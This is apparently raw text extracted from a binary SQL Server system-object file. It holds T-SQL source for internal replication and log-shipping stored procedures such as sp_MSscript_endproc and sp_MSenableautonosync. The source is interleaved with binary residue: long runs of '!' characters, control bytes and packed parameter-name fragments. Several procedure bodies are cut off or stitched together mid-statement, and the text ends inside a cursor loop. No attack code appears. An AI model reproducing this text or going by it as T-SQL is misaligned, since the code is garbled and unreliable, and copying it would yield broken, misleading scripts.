        select @local_path = substring(@unc_path, len(@pattern) + 1, 1) + N':' +
            substring(@unc_path, len(@pattern) + 3, len(@unc_path) - len(@pattern) -1)
    else
        select @local_path = @unc_path
0d 8 
-- add it
create view sys.dm_pdw_nodes_exec_query_memory_grants as
select *, convert(int, null) pdw_node_id from sys.dm_exec_query_memory_grants
0Dz@ 8
create procedure sys.sp_MSrepl_scriptpublicationcustomprocs
(
    @publication    sysname,
    @publisher      sysname = NULL,
    @publisher_type sysname = N'MSSQLSERVER',
    @usesqlclr      bit
)
AS
BEGIN
    declare @retcode          int,
            @table_created    bit


    select @retcode = 0,
           @table_created = 0

    SET NOCOUNT ON

    -- Security check: Sysadmins and db_owners only
    exec @retcode = sp_MSreplcheck_publish

    IF (@retcode != 0) OR (@@ERROR != 0)
    BEGIN
        RETURN 1
    END


    if @usesqlclr = 0
    begin
        create table #scripttext
        (
            line_no int identity(1,1) primary key,
            line nvarchar(4000)
        ) 

        IF (@retcode != 0) OR (@@ERROR != 0)
        BEGIN
            RETURN 1
        END

        select @table_created = 1    
                
        exec @retcode = sys.sp_MSscriptpublicationcustomprocs
            @publication = @publication,
            @publisher = @publisher,
            @publisher_type = @publisher_type

        IF (@retcode != 0) OR (@@ERROR != 0)
        BEGIN
            RETURN 1
        END
    
        select '--' = line from #scripttext order by line_no asc

    Failure:
        if @table_created <> 0
        begin
            drop table #scripttext
        end
    end
    else
    begin
        exec @retcode = sys.sp_MSscriptpublicationcustomprocs_sqlclr    
            @publication = @publication,
            @publisher = @publisher,
            @publisher_type = @publisher_type
        IF (@retcode != 0) OR (@@ERROR != 0)
        BEGIN
            RETURN 1
        END                                   
    end

    return @retcode
end
0I@ 8create procedure sys.sp_MSscript_endproc (
    @objid int 
    ,@op_type varchar(3) = 'ins' -- 'ins', 'upd', 'del'
    ,@artid int
    ,@outvars nvarchar(4000)
    ,@queued_pub bit = 0
    ,@identity_insert bit = 0
)
as
BEGIN
	declare @cmd nvarchar(4000)
	declare @qualname nvarchar(517)

	exec sp_MSget_qualified_name @objid, @qualname OUTPUT

	--
	-- start scripting
	--
	select @cmd = N'
	' + N'--
	' + N'-- decide the return code
	' + N'--
	if (@execution_mode = @immediate)
	begin
		if @error != 0
      		return -1
		-- Return special code to indicate the subscriber row needs to be
		-- refreshed.
		if @rowcount = 0
      		return 5
	end'
	insert into #proctext(procedure_text) values(@cmd)

	--
	-- operation specific stuff
	--
	if (@queued_pub = 1)
	begin
		if (@op_type = 'ins')
		begin
			select @cmd = N'
	if (@execution_mode = @QFirstPass)
	begin
		if (@rowcount = 0)
		begin
			if (@error in (547, 2601, 2627))
				return 2 -- insert conflict
			else
				return -1 -- error
		end
	end'
		end
		else if (@op_type = 'upd')
		begin
			select @cmd = N'
	if (@execution_mode = @QFirstPass)
	begin
		if (@rowcount = 0)
		begin
			if (@error in (0, 547, 2601, 2627))
				return 1 -- update conflict
			else
				return -1 -- error
		end
	end'
		end
		else if (@op_type = 'del')
		begin
			select @cmd = N'
	if (@execution_mode = @QFirstPass)
	begin
		if (@rowcount = 0)
		begin
			if (@error in (0, 547))
				return 3 -- delete conflict
			else
				return -1 -- error
		end
	end'
		end
		insert into #proctext(procedure_text) values(@cmd)
		
		--
		-- continue with scripting
		--
		select @cmd = N'
	
	if (@execution_mode in (@QPubWins, @QSubWins))
	begin		
		if (@@error != 0 or @retcode != 0'
		--
		-- identity insert specific scripting
		--
		if (@identity_insert = 1)
			select @cmd = @cmd + N' or @iderror != 0'
		--
		-- continue with scripting
		--
		select @cmd = @cmd + N')
			return -1 -- error
	end
    '
		insert into #proctext(procedure_text) values(@cmd)
	end

	--
	-- if we have output vars to assign do it now
	--
	if (@outvars is not null)
	begin   
		if @op_type = 'upd'
		begin
			--
			-- Script out pk var assigment that used in sp_MSscript_where_clause
			--
			exec sp_MSscript_pkvar_assignment @objid, @artid, 1, null, null, null, @queued_pub
			insert into #proctext(procedure_text) values(N'
	')
		end

		select @cmd = N'
	select ' + @outvars + N'
	from ' + @qualname 
		insert into #proctext(procedure_text) values( @cmd)
		insert into #proctext(procedure_text) values( N'
	')
	
		if (@op_type = 'ins')
			exec sp_MSscript_where_clause @objid, @artid, 'new pk', null, 4
		else if (@op_type = 'upd')
			exec sp_MSscript_where_clause @objid, @artid, 'old pk', null, 4
	end

	--
	-- Final part of the proc
	--
    select @cmd = N'
    
	' + N'--
	' + N'-- past all checks
	' + N'--
	return 0
END
'
	insert into #proctext(procedure_text) values(@cmd)
	
	--
	-- all done
	--
	return 0
END
0D@ G8create procedure sys.sp_help_log_shipping_primary_secondary 
(
    @primary_database sysname
)
as
begin
    set nocount on
    declare @retcode int
                ,@primary_id uniqueidentifier

    --
    -- security check
    --
    exec @retcode = sys.sp_MSlogshippingsysadmincheck
    if (@retcode != 0 or @@error != 0)
        return 1
    --
    -- must be invoked from master db
    --
    if (db_name() != N'master')
    begin
        raiserror(5001, 16,-1)
        return 1
    end
    --
    -- Primary database should exist
    --
    select @primary_id = primary_id
    from msdb.dbo.log_shipping_primary_databases
    where primary_database = @primary_database
    if (@primary_id is null)
    begin
        raiserror(32010, 10, 6, @primary_database)
        return 0
    end
    --
    -- select
    --
    select 
        secondary_server
        ,secondary_database
    from msdb.dbo.log_shipping_primary_secondaries
    where primary_id = @primary_id
    --
    -- all done
    --
    return 0
end
                             
    end

    return @retcode
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
J"`d<d
X`0b@ 	8create procedure sys.sp_MSrestoresavedforeignkeyextendedproperties (
    @program_name       sysname,
    @constraint_name    sysname,
    @parent_schema      sysname,
    @parent_name        sysname
    )
as
begin
    set nocount on
    declare @retcode int,
            @transaction_opened bit,
            @cursor_allocated bit,
            @cursor_opened bit,
            @property_name sysname,
            @property_value sql_variant

    select @retcode = 0,
           @transaction_opened = 0,
           @cursor_allocated = 0,
           @cursor_opened = 0

    begin transaction 
    save transaction restoreextendedproperties
    set @transaction_opened = 1

    declare hExtendedProperties cursor local for
     select property_name, property_value
       from dbo.MSsavedforeignkeyextendedproperties
      where program_name = @program_name
        and constraint_name = @constraint_name
        and parent_schema = @parent_schema
    if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 goto Failure end
    set @cursor_allocated = 1        

    open hExtendedProperties
    if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 goto Failure end
    set @cursor_opened = 1        
    
    fetch hExtendedProperties into @property_name, @property_value
    while (@@fetch_status <> -1)
    begin
        execute @retcode = sys.sp_addextendedproperty @name = @property_name, @value = @property_value, @level0type = 'schema', @level0name = @parent_schema, @level1type = 'table', @level1name = @parent_name, @level2type = 'constraint', @level2name = @constraint_name
        if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 goto Failure end
        fetch hExtendedProperties into @property_name, @property_value
    end

    close hExtendedProperties
    if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 goto Failure end
    set @cursor_opened = 0

    deallocate hExtendedProperties
    if @@error <> 0 or @retcode <> 0 begin set @retcode = 1 goto Failure end
    set @cursor_allocated = 0

    commit transaction
    set @transaction_opened = 0

Failure:
    if @cursor_opened = 1
    begin
        close hExtendedProperties
    end

    if @cursor_allocated = 1
    begin
        deallocate hExtendedProperties
    end

    if @transaction_opened = 1
    begin
        rollback transaction restoreextendedproperties
        commit transaction
    end

    return @retcode
end
0(f@ .8create procedure sys.sp_MScheckcontext_bypasswholeddleventbit @is_biton bit output
as
begin
    declare @cur_context varbinary(128)
    declare @cur_context_first_byte binary(1)
    declare @returnbitmask tinyint
        
    select @returnbitmask = 64    
    
    -- get the current context_info. 
    select @cur_context = isnull(context_info(),0x00)
    
    -- get the first byte out of the 128 byte array.
    select @cur_context_first_byte = substring(@cur_context, 1, 1)
    
    -- check whether it has the merge agent bit set.
    select @returnbitmask = (convert(tinyint,@cur_context_first_byte) & @returnbitmask)
    -- set the output param value appropriately.
    select @is_biton = case when @returnbitmask = 0 then 0 else 1 end
    return 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!6
`m	-]E)
k D0-88
Kdatabase_id0-88
Urecovery_unit_id0-88
Kbuffer_size0-Koccurrences0-00Efrequent0-88
Iwarm_count0-88
Icold_count0-88
K@DatabaseId0-E@Catalog0-A@Owner0-A@Table0-S@ConstraintName0-C@Column0-KG@loginame0-*h88
Kpdw_node_id0-*h88
Mcomponent_id0-*h_component_instance_id0-*h88
Ealert_id0-*hHHWalert_instance_id0-*hQprevious_value0-*hOcurrent_value0-*h==Kcreate_time0-]T+E@db_name0-]T+Y@current_principal0-?dEK@table_name0-?dEK@index_name0-?dEO@table_schema0-G88
Cpool_id0-GQmemory_address0-G@@=name0-GhhCis_free0-G88
Grow_count0-G88
Ibytes_used0-G88
Mpercent_used0-HC@server0-HE@catalog0-H88
M@assembly_id0-HU@assembly_schema0-H88
]@assembly_referenced0-YK@subscriber0-Y00?@type0-YA@login0-YG@password0-Y88
Y@commit_batch_size0-Y88
Y@status_batch_size0-Y88
U@flush_frequency0-Y88
S@frequency_type0-Y	88
[@frequency_interval0-Y
88
m@frequency_relative_interval0-Y88
m@frequency_recurrence_factor0-Y88
W@frequency_subday0-Y
88
i@frequency_subday_interval0-Y88
g@active_start_time_of_day0-Y88
c@active_end_time_of_day0-Y88
Y@active_start_date0-Y88
U@active_end_date0-YM@description0-J88
A@objid0-HiI@publisher0-HiO@publisher_db0-HiM@publication0-5I@publisher0-5O@publisher_db0-5M@publication0-5K@subscriber0-5Q@subscriber_db0-
$$A@repid0-
C@srcgen0-
$$E@srcguid!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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188
KLog Reserve0-1KAllocUnitId0-1
OAllocUnitName0-1CPage ID0-188
CSlot ID0-1..WPrevious Page LSN0-1KPartitionId0-144ERowFlags0-144MNum Elements0-144OOffset in Row0-144KModify Size0-100UCheckpoint Begin0-144aCHKPT Begin DB Version0-1IMax XDESID0-144UNum Transactions0-100QCheckpoint End0-144]CHKPT End DB Version0-1..KMinimum LSN0-188
KDirty Pages0-1..kOldest Replicated Begin LSN0-1..cNext Replicated End LSN0-1 ..sLast Distributed Backup End LSN0-1!..eLast Distributed End LSN0-1"..WRepl Min Hold LSN0-1#88
IServer UID0-1$88
=SPID0-1%SBeginlog Status0-1&88
GXact Type0-1'00IBegin Time0-1(BBUTransaction Name0-1)UUSTransaction SID0-1*_Parent Transaction ID!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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YCONSTRAINT_CATALOG0-AWCONSTRAINT_SCHEMA0-ASCONSTRAINT_NAME0-AQDOMAIN_CATALOG0-AODOMAIN_SCHEMA0-AKDOMAIN_NAME0-AOIS_DEFERRABLE0-AYINITIALLY_DEFERRED0-I44O@whattocreate0-~	K88
A@artid0-~	K88
A@colid0-~	K?@type0-~	K
I@operation0-ZgE@tabname0-ZgI@indexname0-Zg00Q@verboseoutput0-ZgO@query_sample-u0-uY@subscription_name0-oCM@publication0-oCC@dbname0-oCK@servername0-oC$$A@pubid0-1K@table_name0-1K@owner_name0-1@Q@filter_clause0-ooM@publication-%e$$0-%e$$A@artid0-%e$$A@pubid0-jfI@tablename0-jfI@ownername0-jfG@procname0-jf88
M@basetableid0-jf$$A@pubid0-jfhhg@generate_subscriber_proc!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`%-J)$}=s-b0-bE@command0-bI@parameter0-bY@original_argument0-bO@new_argument0-Tg=@dsn0-TgG@infotype0-TgA@login0-TgG@password0-Tg88
G@dso_type0-ojcdispatcher_pool_address0-oj4=type0-oj4=name0-oj88
Udispatcher_count0-oj88
adispatcher_ideal_count0-oj88
_dispatcher_timeout_ms0-oj88
edispatcher_waiting_count0-oj88
Mqueue_length!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!qL}Kx`-$
)%D2c0-N^$W@qreader_job_name0-N^%I@publisher0-N^&
o@allow_initialize_from_backup0-N^'88
Q@replicate_ddl0-N^(S@publisher_type0-N^)
U@enabled_for_p2p0-N^*
k@publish_local_changes_only0-N^+
]@enabled_for_het_sub0-N^,
a@p2p_conflictdetection0-N^-88
Y@p2p_originator_id0-N^.
e@p2p_continue_onconflict0-N^/
c@allow_partition_switch0-N^0
k@replicate_partition_switch!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!O0ho`3-
4)&92\0-SI@publisher0-;Gcommit_ts0-;Cxdes_id0-;Icommit_lbn0-;Icommit_csn0-;==Kcommit_time0-;88
Kpdw_node_id0-{88
?class0-{xxIclass_desc0-{88
Emajor_id0-{88
_statement_line_number0-{88
astatement_offset_begin0-{88
]statement_offset_end0-{Qstatement_type0-{Mfeature_name0-{	Wfeature_type_name0-M@source_dbms0-
S@source_version0-M@source_type0-Y@source_length_min0-Y@source_length_max0-_@source_precision_min0-_@source_precision_max0-88
W@source_scale_min0-	88
W@source_scale_max0-
hhU@source_nullable0-W@destination_dbms0-
]@destination_version0-
W@destination_type0-[@destination_length0-a@destination_precision0-88
Y@destination_scale0-hh_@destination_nullable0-88
g@destination_createparams0-hhG@dataloss0-hhK@is_default0-\E@tabname0-\I@indexname0-%5M@publication0-%544Q@rowcount_only0-%500O@full_or_fast0-%5hhS@shutdown_agent0-%5I@publisher0-tS@publisher_name0-tO@publisher_db0-tM@publication0-tU@subscriber_name0-tQ@subscriber_db0-R
I@tablename0-R88
A@flags0-RE@orderby0-R88
C@flags2?@name0-'G@username0-'M@grantorname0-'
S@permissionarea0-Í$$Ireplica_id0-Í4[replica_server_name0-Í$$Egroup_id0-Í00Ijoin_state0-ÍxxSjoin_state_desc0-JC@object0-JC@schema0-܉	K@subscriber0-܉	44K@agent_type0-܉	88
S@frequency_type0-܉	88
[@frequency_interval0-܉	88
m@frequency_relative_interval0-܉	88
m@frequency_recurrence_factor0-܉	88
W@frequency_subday0-܉	88
i@frequency_subday_interval0-܉		88
g@active_start_time_of_day0-܉	
88
c@active_end_time_of_day0-܉	88
Y@active_start_date0-܉	88
U@active_end_date0-܉	
I@publisher0-܉	S@publisher_type0-
88
Gobject_id0-
88
Eindex_id0-
=rows0-
88
Ktotal_pages0-
88
Iused_pages0-%5M@publication0-%544Q@rowcount_only0-%500O@full_or_fast0-%5hhS@shutdown_agent0-%5I@publisher0-!88
A@pubid0-!M@publication0-!hhG@enabling0-!88
Q@originator_id0-!C@cmdtxt0-!hhK@execscript0-tS@publisher_name0-tO@publisher_db0-tM@publication0-tU@subscriber_name0-tQ@subscriber_db0-R
I@tablename:_ 7No,Q\
WH
a

	N	E8':E([

>
|3m|)`-l)a'E<F0-nhh=@rmo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<((:svo--
-- Name: sp_MSenableautonosync
--
-- Description: This is a helper procedure for activating all articles in a
--              publication when the allow_initialize_from_backup property is 
--              changed from 0 to 1 in sp_changepublication. This procedure
--              can also be used to perform "just-in-time" article activation
--              when setting up a 'replication support only' subscription.
--
--              Steps that will be performed by this procedure:
--              1) Update all null or empty destination object/owner name
--                 to be their source object's equivalent
--              2) Update all article status to active
--              3) Set the replicated bits of all article objects except those
--                 for schema-only articles
--              3.1) Set NFR identity columns
--              4) Flush the article cache
--              5) Set the allow_initialize_from_backup bit of the publication --                 to 1
--              6) Increment the publication's min autonosync lsn
--
-- Parameters: @publication sysname (mandatory)
--             @activate_articles_only (optional, default 0)
--
-- Notes: @publication is assumed to be verified as a valid publication name 
--        in the current database by the caller. No attempt will be made in 
--        this procedure to check for the validity of the @publication 
--        parameter.
--
--        The @activate_articles_only parameter was subsequently added to 
--        bypass all but steps 2) & 3) when it is set to 1. This new parameter
--        is used when setting up a  'replication support only' subscription
--        to perform "just-in-time" article object activation.
--
-- Security: This is an internal system procedure.
--
create procedure sys.sp_MSenableautonosync
(
	@publication            sysname,
	@activate_articles_only bit = 0,
	@publisher				sysname = NULL,
	@publisher_type			sysname = N'MSSQLSERVER'
)
WITH EXECUTE AS 'dbo'
as
begin
    set nocount on
    declare @retcode int,
            @transactionopened bit,
            @pubid int,
            @cursorallocated bit,
            @cursoropened bit,
            @objid int,
            @articletype tinyint,
            @active tinyint,
            @qualifiedname nvarchar(520),
            @identitycolname sysname,
            @distributor sysname,
            @distribdb   sysname,
            @distproc    nvarchar(768),
            @dbname      sysname,
            @distver     int
            
    select @transactionopened = 0,
           @retcode = 0,
           @cursorallocated = 0,
           @cursoropened = 0,
           @active = 1

    SELECT @pubid = sys.fn_MSrepl_getpubid(@publication, @publisher, @publisher_type)

    IF (@@ERROR != 0) OR (@retcode != 0)
    BEGIN
    	SELECT	@retcode = 1
    	GOTO Failure
    END

    begin transaction
    save transaction sp_MSenableautonosync

    IF (@@ERROR != 0) OR (@retcode != 0)
    BEGIN
    	SELECT	@retcode = 1
    	GOTO Failure
    END

    select @transactionopened = 1    
    -- Set unspecified destination object\owner names to their source 
    -- equivalent
    
    --1) & 2)
    -- Destination object/owner name, status
    update dbo.sysarticles
       set dest_table = case when (dest_table is null or rtrim(dest_table) = N'') and @activate_articles_only <> 1 then object_name(objid)
                             else dest_table
                        end,
           dest_owner = case when (dest_owner is null or rtrim(dest_owner) = N'') and @activate_articles_only <> 1 then schema_name(ObjectProperty(objid, 'SchemaId'))
                             else dest_owner
                        end,
           status = status | @active
     where pubid = @pubid

    IF (@@ERROR != 0) OR (@retcode != 0)
    BEGIN
    	SELECT	@retcode = 1
    	GOTO Failure
    END
    
    update dbo.sysschemaarticles
       set dest_object = case when (dest_object is null or rtrim(dest_object) = N'') and @activate_articles_only <> 1 then object_name(objid)
                              else dest_object
                         end, 
           dest_owner = case when (dest_owner is null or rtrim(dest_owner) = N'') and @activate_articles_only <> 1 then schema_name(ObjectProperty(objid, 'SchemaId'))
                        else dest_owner
                        end,
           status = status | @active
     where pubid = @pubid

    IF (@@ERROR != 0) OR (@retcode != 0)
    BEGIN
    	SELECT	@retcode = 1
    	GOTO Failure
    END

	IF @publisher_type = N'MSSQLSERVER'
	BEGIN
		-- 3)
		-- Set replicated bits for article objects
		declare hCarticle cursor local fast_forward for
		  select objid, 
				 type
			from dbo.sysarticles -- No need to worry about schema-only articles
		   where pubid = @pubid

		IF (@@ERROR != 0) OR (@retcode != 0)
		BEGIN
			SELECT	@retcode = 1
			GOTO Failure
		END

		select @cursorallocated = 1

		open hCarticle

		IF (@@ERROR != 0) OR (@retcode != 0)
		BEGIN
			SELECT	@retcode = 1
			GOTO Failure
		END

		select @cursoropened = 1

		fetch hCarticle into @objid, @articletype
		while @@fetch_status <> -1
		BEGIN
			select @qualifiedname = N'[' + replace(schema_name(ObjectProperty(@objid, 'SchemaId')), N']', N']]') + N'].' + N'[' + replace(object_name(@objid), N']', N']]') + N']'
			
			EXEC %%Object(MultiName = @qualifiedname).LockMatchID(ID = @objid, Exclusive = 1, BindInternal = 0)
			IF (@@ERROR != 0) OR (@retcode != 0)
			BEGIN
				SELECT	@retcode = 1
				GOTO Failure
			END
			
			if @articletype & 0x1 <> 0 -- Logbased article
			BEGIN
				exec %%Relation(ID = @objid).SetReplicated(Value = 1)

				IF (@@ERROR != 0) OR (@retcode != 0)
				BEGIN
					SELECT	@retcode = 1
					GOTO Failure
				END

				if @activate_articles_only <> 1
				BEGIN
					-- 3.1) Set NFR for identity column
					select @identitycolname = NULL
					select @identitycolname = name 
					  from sys.columns
					 where object_id = @objid
					   and columnproperty(object_id, name, 'IsIdentity') = 1
					   and isnull(columnproperty(object_id, name, 'IsIdNotForRepl'),0) = 0 

					if @identitycolname is not null
					BEGIN
